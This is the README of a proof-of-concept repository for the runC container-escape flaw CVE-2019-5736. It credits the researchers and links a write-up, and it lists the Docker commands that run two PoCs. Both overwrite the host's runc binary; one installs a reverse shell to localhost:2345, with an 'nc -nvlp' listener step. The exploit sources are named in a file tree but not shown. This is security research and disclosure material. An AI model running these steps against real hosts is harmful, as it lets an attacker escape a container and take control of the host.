<h2 align="center">RunC-CVE-2019-5736</h2>
<p align="center">
<a href="#"><img src="https://img.shields.io/badge/BBR-DevOps-blueviolet" alt="Build Status"></a>
<a href="https://www.idealhax.blogspot.com"><img src="https://img.shields.io/badge/BBR-Blog-blue" alt="Build Status"></a>
<a href="https://www.linkedin.com/in/bbr/"><img src="https://img.shields.io/badge/BBR-LinkedIn-orange" alt="Build Status"></a>
<a href="https://twitter.com/RMBRathnayaka"><img src="https://img.shields.io/badge/BBR-Twitter-ff69b4" alt="Build Status"></a>
<a href="https://www.facebook.com/95bbr"><img src="https://img.shields.io/badge/BBR-FB-success" alt="Build Status"></a>
</p>
---
**Video**: https://bit.ly/2WqvILb
**Blog Post**: <a href="https://idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html">[www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]</a>
Here, I like to mention that the original developer of this exploit is Yuval Avrahami at Twistlock Labs.
## Running the POCs
Note that running the POCs will overwrite the runC binary on the host.
It is highly recommened that you create a copy of your runC binary (normally at /usr/sbin/runc) before running one of the POCs.
Clone the repository:
```sh
$ git clone git@github.com:BBRathnayaka/RunC-CVE-2019-5736.git
```
### Exec POC
Overwrites runc with a simple program that prints a string.
Running the exec POC:
```sh
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
```
### Malicious Image POC
Overwrites runc with a simple reverse shell bash script that connects to localhost:2345.
Listen for the reverse shell:
```sh
$ nc -nvlp 2345
```
From a different shell, run the malicious image POC:
```sh
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```
#### Reference
```
See [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5763") for an explanation of CVE-2019-5736 and the POCs.
The malicious image POC is heavily based on [q3k’s POC](https://github.com/q3k/cve-2019-5736-poc), so all credit goes to him.
```
[4.0K] /data/pocs/ad4c1d269c53d4f121099b0a65a68f3ead077417
├── [4.0K] exec_POC
│ ├── [ 17] bash_evil
│ ├── [ 386] Dockerfile
│ ├── [8.3K] new_runc
│ ├── [ 225] new_runc.c
│ ├── [ 13K] overwrite_runc
│ ├── [3.5K] overwrite_runc.c
│ └── [ 416] replace.sh
├── [ 150] exec_poc_cmd.txt
├── [4.0K] malicious_image_POC
│ ├── [1.0K] Dockerfile
│ ├── [ 52] new_runc
│ ├── [ 13K] overwrite_runc
│ ├── [2.9K] overwrite_runc.c
│ └── [ 929] run_at_link.c
├── [538K] POC CVE-2019-5736.docx
└── [2.2K] README.md
2 directories, 15 files